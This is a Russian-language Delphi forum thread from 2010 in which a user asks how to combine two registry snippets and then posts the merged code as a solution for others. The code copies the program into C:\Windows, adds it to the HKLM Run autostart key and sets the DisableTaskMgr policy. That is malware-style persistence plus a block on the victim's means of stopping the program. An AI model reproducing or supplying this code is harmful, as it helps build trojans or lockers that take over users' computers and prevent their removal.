Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 13.07.2010, 10:15   #1
alex0097
Форумчанин
 
Аватар для alex0097
 
Регистрация: 06.07.2010
Сообщений: 123
По умолчанию работа с реестром

нужно сделать чтобы прописывался в автозагрузку и отключался диспетчер задач.

это добавление в автозагрузку.
Код:
procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Project1','C:\Windows\Stop.exe');
Reg.CloseKey;
Reg.Free;
end;
отключение диспетчера задч
Код:
procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system',true);
reg.writeinteger('DisableTaskMgr', 1);
Reg.CloseKey;
Reg.Free;
end;
Как сделать чтобы они были в одном целом. чтобы одновременно делали задачу которая им дана, а не только одну.
alex0097 вне форума Ответить с цитированием
Старый 13.07.2010, 10:20   #2
alex0097
Форумчанин
 
Аватар для alex0097
 
Регистрация: 06.07.2010
Сообщений: 123
По умолчанию

все я понел.

если у кого то будет проблемы наподобие. вот код решения

Код:
procedure TForm1.FormCreate(Sender: TObject);
var
reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Project1','C:\Windows\Stop.exe');
Reg.CloseKey;
Reg.RootKey:=hkey_current_user;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system',true);
reg.writeinteger('DisableTaskMgr', 1);
Reg.CloseKey;
Reg.Free;
end;

Последний раз редактировалось alex0097; 13.07.2010 в 10:25.
alex0097 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
работа с реестром Sharp_eye Помощь студентам 8 21.06.2009 00:05
Работа с реестром Pr1meEX Общие вопросы Delphi 0 17.06.2009 00:01
Работа с реестром Ky3Heu, Общие вопросы Delphi 1 04.05.2009 10:37
Работа с реестром Родион Безопасность, Шифрование 1 23.06.2008 11:05
работа с реестром zetrix Безопасность, Шифрование 2 31.10.2007 12:20